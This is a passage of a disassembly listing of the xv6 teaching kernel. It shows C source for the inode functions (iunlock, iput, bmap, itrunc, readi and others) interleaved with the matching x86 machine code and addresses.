pushl -0xc(%ebp) 80101a93: e8 96 e7 ff ff call 8010022e <brelse> 80101a98: 83 c4 10 add $0x10,%esp ip->flags |= I_VALID; 80101a9b: 8b 45 08 mov 0x8(%ebp),%eax 80101a9e: 8b 40 0c mov 0xc(%eax),%eax 80101aa1: 83 c8 02 or $0x2,%eax 80101aa4: 89 c2 mov %eax,%edx 80101aa6: 8b 45 08 mov 0x8(%ebp),%eax 80101aa9: 89 50 0c mov %edx,0xc(%eax) if(ip->type == 0) 80101aac: 8b 45 08 mov 0x8(%ebp),%eax 80101aaf: 0f b7 40 10 movzwl 0x10(%eax),%eax 80101ab3: 66 85 c0 test %ax,%ax 80101ab6: 75 0d jne 80101ac5 <ilock+0x15b> panic("ilock: no type"); 80101ab8: 83 ec 0c sub $0xc,%esp 80101abb: 68 67 8a 10 80 push $0x80108a67 80101ac0: e8 a1 ea ff ff call 80100566 <panic> } } 80101ac5: 90 nop 80101ac6: c9 leave 80101ac7: c3 ret 80101ac8 <iunlock>: // Unlock the given inode. void iunlock(struct inode *ip) { 80101ac8: 55 push %ebp 80101ac9: 89 e5 mov %esp,%ebp 80101acb: 83 ec 08 sub $0x8,%esp if(ip == 0 || !(ip->flags & I_BUSY) || ip->ref < 1) 80101ace: 83 7d 08 00 cmpl $0x0,0x8(%ebp) 80101ad2: 74 17 je 80101aeb <iunlock+0x23> 80101ad4: 8b 45 08 mov 0x8(%ebp),%eax 80101ad7: 8b 40 0c mov 0xc(%eax),%eax 80101ada: 83 e0 01 and $0x1,%eax 80101add: 85 c0 test %eax,%eax 80101adf: 74 0a je 80101aeb <iunlock+0x23> 80101ae1: 8b 45 08 mov 0x8(%ebp),%eax 80101ae4: 8b 40 08 mov 0x8(%eax),%eax 80101ae7: 85 c0 test %eax,%eax 80101ae9: 7f 0d jg 80101af8 <iunlock+0x30> panic("iunlock"); 80101aeb: 83 ec 0c sub $0xc,%esp 80101aee: 68 76 8a 10 80 push $0x80108a76 80101af3: e8 6e ea ff ff call 80100566 <panic> acquire(&icache.lock); 80101af8: 83 ec 0c sub $0xc,%esp 80101afb: 68 20 2c 11 80 push $0x80112c20 80101b00: e8 31 36 00 00 call 80105136 <acquire> 80101b05: 83 c4 10 add $0x10,%esp ip->flags &= ~I_BUSY; 80101b08: 8b 45 08 mov 0x8(%ebp),%eax 80101b0b: 8b 40 0c mov 0xc(%eax),%eax 80101b0e: 83 e0 fe and $0xfffffffe,%eax 80101b11: 89 c2 mov %eax,%edx 80101b13: 8b 45 08 mov 0x8(%ebp),%eax 80101b16: 89 50 0c mov %edx,0xc(%eax) wakeup(ip); 80101b19: 83 ec 0c sub $0xc,%esp 80101b1c: ff 75 08 pushl 0x8(%ebp) 80101b1f: e8 be 33 00 00 call 80104ee2 <wakeup> 80101b24: 83 c4 10 add $0x10,%esp release(&icache.lock); 80101b27: 83 ec 0c sub $0xc,%esp 80101b2a: 68 20 2c 11 80 push $0x80112c20 80101b2f: e8 69 36 00 00 call 8010519d <release> 80101b34: 83 c4 10 add $0x10,%esp } 80101b37: 90 nop 80101b38: c9 leave 80101b39: c3 ret 80101b3a <iput>: // to it, free the inode (and its content) on disk. // All calls to iput() must be inside a transaction in // case it has to free the inode. void iput(struct inode *ip) { 80101b3a: 55 push %ebp 80101b3b: 89 e5 mov %esp,%ebp 80101b3d: 83 ec 08 sub $0x8,%esp acquire(&icache.lock); 80101b40: 83 ec 0c sub $0xc,%esp 80101b43: 68 20 2c 11 80 push $0x80112c20 80101b48: e8 e9 35 00 00 call 80105136 <acquire> 80101b4d: 83 c4 10 add $0x10,%esp if(ip->ref == 1 && (ip->flags & I_VALID) && ip->nlink == 0){ 80101b50: 8b 45 08 mov 0x8(%ebp),%eax 80101b53: 8b 40 08 mov 0x8(%eax),%eax 80101b56: 83 f8 01 cmp $0x1,%eax 80101b59: 0f 85 a9 00 00 00 jne 80101c08 <iput+0xce> 80101b5f: 8b 45 08 mov 0x8(%ebp),%eax 80101b62: 8b 40 0c mov 0xc(%eax),%eax 80101b65: 83 e0 02 and $0x2,%eax 80101b68: 85 c0 test %eax,%eax 80101b6a: 0f 84 98 00 00 00 je 80101c08 <iput+0xce> 80101b70: 8b 45 08 mov 0x8(%ebp),%eax 80101b73: 0f b7 40 16 movzwl 0x16(%eax),%eax 80101b77: 66 85 c0 test %ax,%ax 80101b7a: 0f 85 88 00 00 00 jne 80101c08 <iput+0xce> // inode has no links and no other references: truncate and free. if(ip->flags & I_BUSY) 80101b80: 8b 45 08 mov 0x8(%ebp),%eax 80101b83: 8b 40 0c mov 0xc(%eax),%eax 80101b86: 83 e0 01 and $0x1,%eax 80101b89: 85 c0 test %eax,%eax 80101b8b: 74 0d je 80101b9a <iput+0x60> panic("iput busy"); 80101b8d: 83 ec 0c sub $0xc,%esp 80101b90: 68 7e 8a 10 80 push $0x80108a7e 80101b95: e8 cc e9 ff ff call 80100566 <panic> ip->flags |= I_BUSY; 80101b9a: 8b 45 08 mov 0x8(%ebp),%eax 80101b9d: 8b 40 0c mov 0xc(%eax),%eax 80101ba0: 83 c8 01 or $0x1,%eax 80101ba3: 89 c2 mov %eax,%edx 80101ba5: 8b 45 08 mov 0x8(%ebp),%eax 80101ba8: 89 50 0c mov %edx,0xc(%eax) release(&icache.lock); 80101bab: 83 ec 0c sub $0xc,%esp 80101bae: 68 20 2c 11 80 push $0x80112c20 80101bb3: e8 e5 35 00 00 call 8010519d <release> 80101bb8: 83 c4 10 add $0x10,%esp itrunc(ip); 80101bbb: 83 ec 0c sub $0xc,%esp 80101bbe: ff 75 08 pushl 0x8(%ebp) 80101bc1: e8 a8 01 00 00 call 80101d6e <itrunc> 80101bc6: 83 c4 10 add $0x10,%esp ip->type = 0; 80101bc9: 8b 45 08 mov 0x8(%ebp),%eax 80101bcc: 66 c7 40 10 00 00 movw $0x0,0x10(%eax) iupdate(ip); 80101bd2: 83 ec 0c sub $0xc,%esp 80101bd5: ff 75 08 pushl 0x8(%ebp) 80101bd8: e8 b3 fb ff ff call 80101790 <iupdate> 80101bdd: 83 c4 10 add $0x10,%esp acquire(&icache.lock); 80101be0: 83 ec 0c sub $0xc,%esp 80101be3: 68 20 2c 11 80 push $0x80112c20 80101be8: e8 49 35 00 00 call 80105136 <acquire> 80101bed: 83 c4 10 add $0x10,%esp ip->flags = 0; 80101bf0: 8b 45 08 mov 0x8(%ebp),%eax 80101bf3: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax) wakeup(ip); 80101bfa: 83 ec 0c sub $0xc,%esp 80101bfd: ff 75 08 pushl 0x8(%ebp) 80101c00: e8 dd 32 00 00 call 80104ee2 <wakeup> 80101c05: 83 c4 10 add $0x10,%esp } ip->ref--; 80101c08: 8b 45 08 mov 0x8(%ebp),%eax 80101c0b: 8b 40 08 mov 0x8(%eax),%eax 80101c0e: 8d 50 ff lea -0x1(%eax),%edx 80101c11: 8b 45 08 mov 0x8(%ebp),%eax 80101c14: 89 50 08 mov %edx,0x8(%eax) release(&icache.lock); 80101c17: 83 ec 0c sub $0xc,%esp 80101c1a: 68 20 2c 11 80 push $0x80112c20 80101c1f: e8 79 35 00 00 call 8010519d <release> 80101c24: 83 c4 10 add $0x10,%esp } 80101c27: 90 nop 80101c28: c9 leave 80101c29: c3 ret 80101c2a <iunlockput>: // Common idiom: unlock, then put. void iunlockput(struct inode *ip) { 80101c2a: 55 push %ebp 80101c2b: 89 e5 mov %esp,%ebp 80101c2d: 83 ec 08 sub $0x8,%esp iunlock(ip); 80101c30: 83 ec 0c sub $0xc,%esp 80101c33: ff 75 08 pushl 0x8(%ebp) 80101c36: e8 8d fe ff ff call 80101ac8 <iunlock> 80101c3b: 83 c4 10 add $0x10,%esp iput(ip); 80101c3e: 83 ec 0c sub $0xc,%esp 80101c41: ff 75 08 pushl 0x8(%ebp) 80101c44: e8 f1 fe ff ff call 80101b3a <iput> 80101c49: 83 c4 10 add $0x10,%esp } 80101c4c: 90 nop 80101c4d: c9 leave 80101c4e: c3 ret 80101c4f <bmap>: // Return the disk block address of the nth block in inode ip. // If there is no such block, bmap allocates one. static uint bmap(struct inode *ip, uint bn) { 80101c4f: 55 push %ebp 80101c50: 89 e5 mov %esp,%ebp 80101c52: 53 push %ebx 80101c53: 83 ec 14 sub $0x14,%esp uint addr, *a; struct buf *bp; if(bn < NDIRECT){ 80101c56: 83 7d 0c 0b cmpl $0xb,0xc(%ebp) 80101c5a: 77 42 ja 80101c9e <bmap+0x4f> if((addr = ip->addrs[bn]) == 0) 80101c5c: 8b 45 08 mov 0x8(%ebp),%eax 80101c5f: 8b 55 0c mov 0xc(%ebp),%edx 80101c62: 83 c2 04 add $0x4,%edx 80101c65: 8b 44 90 0c mov 0xc(%eax,%edx,4),%eax 80101c69: 89 45 f4 mov %eax,-0xc(%ebp) 80101c6c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80101c70: 75 24 jne 80101c96 <bmap+0x47> ip->addrs[bn] = addr = balloc(ip->dev); 80101c72: 8b 45 08 mov 0x8(%ebp),%eax 80101c75: 8b 00 mov (%eax),%eax 80101c77: 83 ec 0c sub $0xc,%esp 80101c7a: 50 push %eax 80101c7b: e8 9a f7 ff ff call 8010141a <balloc> 80101c80: 83 c4 10 add $0x10,%esp 80101c83: 89 45 f4 mov %eax,-0xc(%ebp) 80101c86: 8b 45 08 mov 0x8(%ebp),%eax 80101c89: 8b 55 0c mov 0xc(%ebp),%edx 80101c8c: 8d 4a 04 lea 0x4(%edx),%ecx 80101c8f: 8b 55 f4 mov -0xc(%ebp),%edx 80101c92: 89 54 88 0c mov %edx,0xc(%eax,%ecx,4) return addr; 80101c96: 8b 45 f4 mov -0xc(%ebp),%eax 80101c99: e9 cb 00 00 00 jmp 80101d69 <bmap+0x11a> } bn -= NDIRECT; 80101c9e: 83 6d 0c 0c subl $0xc,0xc(%ebp) if(bn < NINDIRECT){ 80101ca2: 83 7d 0c 7f cmpl $0x7f,0xc(%ebp) 80101ca6: 0f 87 b0 00 00 00 ja 80101d5c <bmap+0x10d> // Load indirect block, allocating if necessary. if((addr = ip->addrs[NDIRECT]) == 0) 80101cac: 8b 45 08 mov 0x8(%ebp),%eax 80101caf: 8b 40 4c mov 0x4c(%eax),%eax 80101cb2: 89 45 f4 mov %eax,-0xc(%ebp) 80101cb5: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80101cb9: 75 1d jne 80101cd8 <bmap+0x89> ip->addrs[NDIRECT] = addr = balloc(ip->dev); 80101cbb: 8b 45 08 mov 0x8(%ebp),%eax 80101cbe: 8b 00 mov (%eax),%eax 80101cc0: 83 ec 0c sub $0xc,%esp 80101cc3: 50 push %eax 80101cc4: e8 51 f7 ff ff call 8010141a <balloc> 80101cc9: 83 c4 10 add $0x10,%esp 80101ccc: 89 45 f4 mov %eax,-0xc(%ebp) 80101ccf: 8b 45 08 mov 0x8(%ebp),%eax 80101cd2: 8b 55 f4 mov -0xc(%ebp),%edx 80101cd5: 89 50 4c mov %edx,0x4c(%eax) bp = bread(ip->dev, addr); 80101cd8: 8b 45 08 mov 0x8(%ebp),%eax 80101cdb: 8b 00 mov (%eax),%eax 80101cdd: 83 ec 08 sub $0x8,%esp 80101ce0: ff 75 f4 pushl -0xc(%ebp) 80101ce3: 50 push %eax 80101ce4: e8 cd e4 ff ff call 801001b6 <bread> 80101ce9: 83 c4 10 add $0x10,%esp 80101cec: 89 45 f0 mov %eax,-0x10(%ebp) a = (uint*)bp->data; 80101cef: 8b 45 f0 mov -0x10(%ebp),%eax 80101cf2: 83 c0 18 add $0x18,%eax 80101cf5: 89 45 ec mov %eax,-0x14(%ebp) if((addr = a[bn]) == 0){ 80101cf8: 8b 45 0c mov 0xc(%ebp),%eax 80101cfb: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 80101d02: 8b 45 ec mov -0x14(%ebp),%eax 80101d05: 01 d0 add %edx,%eax 80101d07: 8b 00 mov (%eax),%eax 80101d09: 89 45 f4 mov %eax,-0xc(%ebp) 80101d0c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80101d10: 75 37 jne 80101d49 <bmap+0xfa> a[bn] = addr = balloc(ip->dev); 80101d12: 8b 45 0c mov 0xc(%ebp),%eax 80101d15: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 80101d1c: 8b 45 ec mov -0x14(%ebp),%eax 80101d1f: 8d 1c 02 lea (%edx,%eax,1),%ebx 80101d22: 8b 45 08 mov 0x8(%ebp),%eax 80101d25: 8b 00 mov (%eax),%eax 80101d27: 83 ec 0c sub $0xc,%esp 80101d2a: 50 push %eax 80101d2b: e8 ea f6 ff ff call 8010141a <balloc> 80101d30: 83 c4 10 add $0x10,%esp 80101d33: 89 45 f4 mov %eax,-0xc(%ebp) 80101d36: 8b 45 f4 mov -0xc(%ebp),%eax 80101d39: 89 03 mov %eax,(%ebx) log_write(bp); 80101d3b: 83 ec 0c sub $0xc,%esp 80101d3e: ff 75 f0 pushl -0x10(%ebp) 80101d41: e8 3f 1a 00 00 call 80103785 <log_write> 80101d46: 83 c4 10 add $0x10,%esp } brelse(bp); 80101d49: 83 ec 0c sub $0xc,%esp 80101d4c: ff 75 f0 pushl -0x10(%ebp) 80101d4f: e8 da e4 ff ff call 8010022e <brelse> 80101d54: 83 c4 10 add $0x10,%esp return addr; 80101d57: 8b 45 f4 mov -0xc(%ebp),%eax 80101d5a: eb 0d jmp 80101d69 <bmap+0x11a> } panic("bmap: out of range"); 80101d5c: 83 ec 0c sub $0xc,%esp 80101d5f: 68 88 8a 10 80 push $0x80108a88 80101d64: e8 fd e7 ff ff call 80100566 <panic> } 80101d69: 8b 5d fc mov -0x4(%ebp),%ebx 80101d6c: c9 leave 80101d6d: c3 ret 80101d6e <itrunc>: // to it (no directory entries referring to it) // and has no in-memory reference to it (is // not an open file or current directory). static void itrunc(struct inode *ip) { 80101d6e: 55 push %ebp 80101d6f: 89 e5 mov %esp,%ebp 80101d71: 83 ec 18 sub $0x18,%esp int i, j; struct buf *bp; uint *a; for(i = 0; i < NDIRECT; i++){ 80101d74: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80101d7b: eb 45 jmp 80101dc2 <itrunc+0x54> if(ip->addrs[i]){ 80101d7d: 8b 45 08 mov 0x8(%ebp),%eax 80101d80: 8b 55 f4 mov -0xc(%ebp),%edx 80101d83: 83 c2 04 add $0x4,%edx 80101d86: 8b 44 90 0c mov 0xc(%eax,%edx,4),%eax 80101d8a: 85 c0 test %eax,%eax 80101d8c: 74 30 je 80101dbe <itrunc+0x50> bfree(ip->dev, ip->addrs[i]); 80101d8e: 8b 45 08 mov 0x8(%ebp),%eax 80101d91: 8b 55 f4 mov -0xc(%ebp),%edx 80101d94: 83 c2 04 add $0x4,%edx 80101d97: 8b 44 90 0c mov 0xc(%eax,%edx,4),%eax 80101d9b: 8b 55 08 mov 0x8(%ebp),%edx 80101d9e: 8b 12 mov (%edx),%edx 80101da0: 83 ec 08 sub $0x8,%esp 80101da3: 50 push %eax 80101da4: 52 push %edx 80101da5: e8 bc f7 ff ff call 80101566 <bfree> 80101daa: 83 c4 10 add $0x10,%esp ip->addrs[i] = 0; 80101dad: 8b 45 08 mov 0x8(%ebp),%eax 80101db0: 8b 55 f4 mov -0xc(%ebp),%edx 80101db3: 83 c2 04 add $0x4,%edx 80101db6: c7 44 90 0c 00 00 00 movl $0x0,0xc(%eax,%edx,4) 80101dbd: 00 { int i, j; struct buf *bp; uint *a; for(i = 0; i < NDIRECT; i++){ 80101dbe: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80101dc2: 83 7d f4 0b cmpl $0xb,-0xc(%ebp) 80101dc6: 7e b5 jle 80101d7d <itrunc+0xf> bfree(ip->dev, ip->addrs[i]); ip->addrs[i] = 0; } } if(ip->addrs[NDIRECT]){ 80101dc8: 8b 45 08 mov 0x8(%ebp),%eax 80101dcb: 8b 40 4c mov 0x4c(%eax),%eax 80101dce: 85 c0 test %eax,%eax 80101dd0: 0f 84 a1 00 00 00 je 80101e77 <itrunc+0x109> bp = bread(ip->dev, ip->addrs[NDIRECT]); 80101dd6: 8b 45 08 mov 0x8(%ebp),%eax 80101dd9: 8b 50 4c mov 0x4c(%eax),%edx 80101ddc: 8b 45 08 mov 0x8(%ebp),%eax 80101ddf: 8b 00 mov (%eax),%eax 80101de1: 83 ec 08 sub $0x8,%esp 80101de4: 52 push %edx 80101de5: 50 push %eax 80101de6: e8 cb e3 ff ff call 801001b6 <bread> 80101deb: 83 c4 10 add $0x10,%esp 80101dee: 89 45 ec mov %eax,-0x14(%ebp) a = (uint*)bp->data; 80101df1: 8b 45 ec mov -0x14(%ebp),%eax 80101df4: 83 c0 18 add $0x18,%eax 80101df7: 89 45 e8 mov %eax,-0x18(%ebp) for(j = 0; j < NINDIRECT; j++){ 80101dfa: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 80101e01: eb 3c jmp 80101e3f <itrunc+0xd1> if(a[j]) 80101e03: 8b 45 f0 mov -0x10(%ebp),%eax 80101e06: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 80101e0d: 8b 45 e8 mov -0x18(%ebp),%eax 80101e10: 01 d0 add %edx,%eax 80101e12: 8b 00 mov (%eax),%eax 80101e14: 85 c0 test %eax,%eax 80101e16: 74 23 je 80101e3b <itrunc+0xcd> bfree(ip->dev, a[j]); 80101e18: 8b 45 f0 mov -0x10(%ebp),%eax 80101e1b: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 80101e22: 8b 45 e8 mov -0x18(%ebp),%eax 80101e25: 01 d0 add %edx,%eax 80101e27: 8b 00 mov (%eax),%eax 80101e29: 8b 55 08 mov 0x8(%ebp),%edx 80101e2c: 8b 12 mov (%edx),%edx 80101e2e: 83 ec 08 sub $0x8,%esp 80101e31: 50 push %eax 80101e32: 52 push %edx 80101e33: e8 2e f7 ff ff call 80101566 <bfree> 80101e38: 83 c4 10 add $0x10,%esp } if(ip->addrs[NDIRECT]){ bp = bread(ip->dev, ip->addrs[NDIRECT]); a = (uint*)bp->data; for(j = 0; j < NINDIRECT; j++){ 80101e3b: 83 45 f0 01 addl $0x1,-0x10(%ebp) 80101e3f: 8b 45 f0 mov -0x10(%ebp),%eax 80101e42: 83 f8 7f cmp $0x7f,%eax 80101e45: 76 bc jbe 80101e03 <itrunc+0x95> if(a[j]) bfree(ip->dev, a[j]); } brelse(bp); 80101e47: 83 ec 0c sub $0xc,%esp 80101e4a: ff 75 ec pushl -0x14(%ebp) 80101e4d: e8 dc e3 ff ff call 8010022e <brelse> 80101e52: 83 c4 10 add $0x10,%esp bfree(ip->dev, ip->addrs[NDIRECT]); 80101e55: 8b 45 08 mov 0x8(%ebp),%eax 80101e58: 8b 40 4c mov 0x4c(%eax),%eax 80101e5b: 8b 55 08 mov 0x8(%ebp),%edx 80101e5e: 8b 12 mov (%edx),%edx 80101e60: 83 ec 08 sub $0x8,%esp 80101e63: 50 push %eax 80101e64: 52 push %edx 80101e65: e8 fc f6 ff ff call 80101566 <bfree> 80101e6a: 83 c4 10 add $0x10,%esp ip->addrs[NDIRECT] = 0; 80101e6d: 8b 45 08 mov 0x8(%ebp),%eax 80101e70: c7 40 4c 00 00 00 00 movl $0x0,0x4c(%eax) } ip->size = 0; 80101e77: 8b 45 08 mov 0x8(%ebp),%eax 80101e7a: c7 40 18 00 00 00 00 movl $0x0,0x18(%eax) iupdate(ip); 80101e81: 83 ec 0c sub $0xc,%esp 80101e84: ff 75 08 pushl 0x8(%ebp) 80101e87: e8 04 f9 ff ff call 80101790 <iupdate> 80101e8c: 83 c4 10 add $0x10,%esp } 80101e8f: 90 nop 80101e90: c9 leave 80101e91: c3 ret 80101e92 <stati>: // Copy stat information from inode. void stati(struct inode *ip, struct stat *st) { 80101e92: 55 push %ebp 80101e93: 89 e5 mov %esp,%ebp st->dev = ip->dev; 80101e95: 8b 45 08 mov 0x8(%ebp),%eax 80101e98: 8b 00 mov (%eax),%eax 80101e9a: 89 c2 mov %eax,%edx 80101e9c: 8b 45 0c mov 0xc(%ebp),%eax 80101e9f: 89 50 04 mov %edx,0x4(%eax) st->ino = ip->inum; 80101ea2: 8b 45 08 mov 0x8(%ebp),%eax 80101ea5: 8b 50 04 mov 0x4(%eax),%edx 80101ea8: 8b 45 0c mov 0xc(%ebp),%eax 80101eab: 89 50 08 mov %edx,0x8(%eax) st->type = ip->type; 80101eae: 8b 45 08 mov 0x8(%ebp),%eax 80101eb1: 0f b7 50 10 movzwl 0x10(%eax),%edx 80101eb5: 8b 45 0c mov 0xc(%ebp),%eax 80101eb8: 66 89 10 mov %dx,(%eax) st->nlink = ip->nlink; 80101ebb: 8b 45 08 mov 0x8(%ebp),%eax 80101ebe: 0f b7 50 16 movzwl 0x16(%eax),%edx 80101ec2: 8b 45 0c mov 0xc(%ebp),%eax 80101ec5: 66 89 50 0c mov %dx,0xc(%eax) st->size = ip->size; 80101ec9: 8b 45 08 mov 0x8(%ebp),%eax 80101ecc: 8b 50 18 mov 0x18(%eax),%edx 80101ecf: 8b 45 0c mov 0xc(%ebp),%eax 80101ed2: 89 50 10 mov %edx,0x10(%eax) } 80101ed5: 90 nop 80101ed6: 5d pop %ebp 80101ed7: c3 ret 80101ed8 <readi>: //PAGEBREAK! // Read data from inode. int readi(struct inode *ip, char *dst, uint off, uint n) { 80101ed8: 55 push %ebp 80101ed9: 89 e5 mov %esp,%ebp 80101edb: 83 ec 18 sub $0x18,%esp uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101ede: 8b 45 08 mov 0x8(%ebp),%eax 80101ee1: 0f b7 40 10 movzwl 0x10(%eax),%eax 80101ee5: 66 83 f8 03 cmp $0x3,%ax 80101ee9: 75 5c jne 80101f47 <readi+0x6f> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) 80101eeb: 8b 45 08 mov 0x8(%ebp),%eax 80101eee: 0f b7 40 12 movzwl 0x12(%eax),%eax 80101ef2: 66 85 c0 test %ax,%ax 80101ef5: 78 20 js 80101f17 <readi+0x3f> 80101ef7: 8b 45 08 mov 0x8(%ebp),%eax 80101efa: 0f b7 40 12 movzwl 0x12(%eax),%eax 80101efe: 66 83 f8 09 cmp $0x9,%ax 80101f02: 7f 13 jg 80101f17 <readi+0x3f> 80101f04: 8b 45 08 mov 0x8(%ebp),%eax 80101f07: 0f b7 40 12 movzwl 0x12(%eax),%eax 80101f0b: 98 cwtl 80101f0c: 8b 04 c5 a0 2b 11 80 mov -0x7feed460(,%eax,8),%eax 80101f13: 85 c0 test %eax,%eax 80101f15: 75 0a jne 80101f21 <readi+0x49> return -1; 80101f17: b8 ff ff ff ff mov $0xffffffff,%eax 80101f1c: e9 0c 01 00 00 jmp 8010202d <readi+0x155> return devsw[ip->major].read(ip, dst, n); 80101f21: 8b 45 08 mov 0x8(%ebp),%eax 80101f24: 0f b7 40 12 movzwl 0x12(%eax),%eax 80101f28: 98 cwtl 80101f29: 8b 04 c5 a0 2b 11 80 mov -0x7feed460(,%eax,8),%eax 80101f30: 8b 55 14 mov 0x14(%ebp),%edx 80101f33: 83 ec 04 sub $0x4,%esp 80101f36: 52 push %edx 80101f37: ff 75 0c pushl 0xc(%ebp) 80101f3a: ff 75 08 pushl 0x8(%ebp) 80101f3d: ff d0 call *%eax 80101f3f: 83 c4 10 add $0x10,%esp 80101f42: e9 e6 00 00 00 jmp 8010202d <readi+0x155> } if(off > ip->size || off + n < off) 80101f47: 8b 45 08 mov 0x8(%ebp),%eax 80101f4a: 8b 40 18 mov 0x18(%eax),%eax 80101f4d: 3b 45 10 cmp 0x10(%ebp),%eax 80101f50: 72 0d jb 80101f5f <readi+0x87> 80101f52: 8b 55 10 mov 0x10(%ebp),%edx 80101f55: 8b 45 14 mov 0x14(%ebp),%eax 80101f58: 01 d0 add %edx,%eax 80101f5a: 3b 45 10 cmp 0x10(%ebp),%eax 80101f5d: 73 0a jae 80101f69 <readi+0x91> return -1; 80101f5f: b8 ff ff ff ff mov $0xffffffff,%eax 80101f64: e9 c4 00 00 00 jmp 8010202d <readi+0x155> if(off + n > ip->size) 80101f69: 8b 55 10 mov 0x10(%ebp),%edx 80101f6c: 8b 45 14 mov 0x14(%ebp),%eax 80101f6f: 01 c2 add %eax,%edx 80101f71: 8b 45 08 mov 0x8(%ebp),%eax 80101f74: 8b 40 18 mov 0x18(%eax),%eax 80101f77: 39 c2 cmp %eax,%edx 80101f79: 76 0c jbe 80101f87 <readi+0xaf> n = ip->size - off; 80101f7b: 8b 45 08 mov 0x8(%ebp),%eax 80101f7e: 8b 40 18 mov 0x18(%eax),%eax 80101f81: 2b 45 10 sub 0x10(%ebp),%eax 80101f84: 89 45 14 mov %eax,0x14(%ebp) for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101f87: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80101f8e: e9 8b 00 00 00 jmp 8010201e <readi+0x146> bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101f93: 8b 45 10 mov 0x10(%ebp),%eax 80101f96: c1 e8 09 shr $0x9,%eax 80101f99: 83 ec 08 sub $0x8,%esp 80101f9c: 50 push %eax 80101f9d: ff 75 08 pushl 0x8(%ebp) 80101fa0: e8 aa fc ff ff call 80101c4f <bmap> 80101fa5: 83 c4 10 add $0x10,%esp 80101fa8: 89 c2 mov %eax,%edx 80101faa: 8b 45 08 mov 0x8(%ebp),%eax 80101fad: 8b 00 mov (%eax),%eax 80101faf: 83 ec 08 sub $0x8,%esp 80101fb2: 52 push %edx 80101fb3: 50 push %eax 80101fb4: e8 fd e1 ff ff call 801001b6 <bread> 80101fb9: 83 c4 10 add $0x10,%esp 80101fbc: 89 45 f0 mov %eax,-0x10(%ebp) m = min(n - tot, BSIZE - off%BSIZE); 80101fbf: 8b 45 10 mov 0x10(%ebp),%eax 80101fc2: 25 ff 01 00 00 and $0x1ff,%eax 80101fc7: ba 00 02 00 00 mov $0x200,%edx 80101fcc: 29 c2 sub %eax,%edx 80101fce: 8b 45 14 mov 0x14(%ebp),%eax 80101fd1: 2b 45 f4 sub -0xc(%ebp),%eax 80101fd4: 39 c2 cmp %eax,%edx 80101fd6: 0f 46 c2 cmovbe %edx,%eax 80101fd9: 89 45 ec mov %eax,-0x14(%ebp) memmove(dst, bp->data + off%BSIZE, m); 80101fdc: 8b 45 f0 mov -0x10(%ebp),%eax 80101fdf: 8d 50 18 lea 0x18(%eax),%edx 80101fe2: 8b 45 10 mov 0x10(%ebp),%eax 80101fe5: 25 ff 01 00 00 and $0x1ff,%eax 80101fea: 01 d0 add %edx,%eax 80101fec: 83 ec 04 sub $0x4,%esp 80101fef: ff 75 ec pushl -0x14(%ebp) 80101ff2: 50 push %eax 80101ff3: ff 75 0c pushl 0xc(%ebp) 80101ff6: e8 5d 34 00 00 call 80105458 <memmove> 80101ffb: 83 c4 10 add $0x10,%esp brelse(bp); 80101ffe: 83 ec 0c sub $0xc,%esp 80102001: ff 75 f0 pushl -0x10(%ebp) 80102004: e8 25 e2 ff ff call 8010022e <brelse> 80102009: 83 c4 10 add $0x10,%esp if(off > ip->size || off + n < off) return -1; if(off + n > ip->size) n = ip->size - off; for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 8010200c: 8b 45 ec mov -0x14(%ebp),%eax 8010200f: 01 45 f4 add %eax,-0xc(%ebp) 80102012: 8b 45 ec mov -0x14(%ebp),%eax 80102015: 01 45 10 add %eax,0x10(%ebp) 80102018: 8b 45 ec mov -0x14(%ebp),%eax 8010201b: 01 45 0c add %eax,0xc(%ebp) 8010201e: 8b 45 f4 mov -0xc(%ebp),%eax 80102021: 3b 45 14 cmp 0x14(%ebp),%eax 80102024: 0f 82 69 ff ff ff jb 80101f93 <readi+0xbb> bp = bread(ip->dev, bmap(ip, off/BSIZE)); m = min(n - tot, BSIZE - off%BSIZE); memmove(dst, bp->data + off%BSIZE, m); brelse(bp); } return n; 8010202a: 8b 45 14 mov 0x14(%ebp),%eax } 8010202d: c9 leave 8010202e: c3 ret 8010202f <writei>: // PAGEBREAK! // Write data to inode. int writei(struct inode *ip, char *src, uint off, uint n) { 8010202f: 55 push %ebp 80102030: 89 e5 mov %esp,%ebp 80102032: 83 ec 18 sub $0x18,%esp uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80102035: 8b 45 08 mov 0x8(%ebp),%eax 80102038: 0f b7 40 10 movzwl 0x10(%eax),%eax 8010203c: 66 83 f8 03 cmp $0x3,%ax 80102040: 75 5c jne 8010209e <writei+0x6f> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) 80102042: 8b 45 08 mov 0x8(%ebp),%eax 80102045: 0f b7 40 12 movzwl 0x12(%eax),%eax 80102049: 66 85 c0 test %ax,%ax 8010204c: 78 20 js 8010206e <writei+0x3f> 8010204e: 8b 45 08 mov 0x8(%ebp),%eax 80102051: 0f b7 40 12 movzwl 0x12(%eax),%eax 80102055: 66 83 f8 09 cmp $0x9,%ax 80102059: 7f 13 jg 8010206e <writei+0x3f> 8010205b: 8b 45 08 mov 0x8(%ebp),%eax 8010205e: 0f b7 40 12 movzwl 0x12(%eax),%eax 80102062: 98 cwtl 80102063: 8b 04 c5 a4 2b 11 80 mov -0x7feed45c(,%eax,8),%eax 8010206a: 85 c0 test %eax,%eax 8010206c: 75 0a jne 80102078 <writei+0x49> return -1; 8010206e: b8 ff ff ff ff mov $0xffffffff,%eax 80102073: e9 3d 01 00 00 jmp 801021b5 <writei+0x186> return devsw[ip->major].write(ip, src, n); 80102078: 8b 45 08 mov 0x8(%ebp),%eax 8010207b: 0f b7 40 12 movzwl 0x12(%eax),%eax 8010207f: 98 cwtl 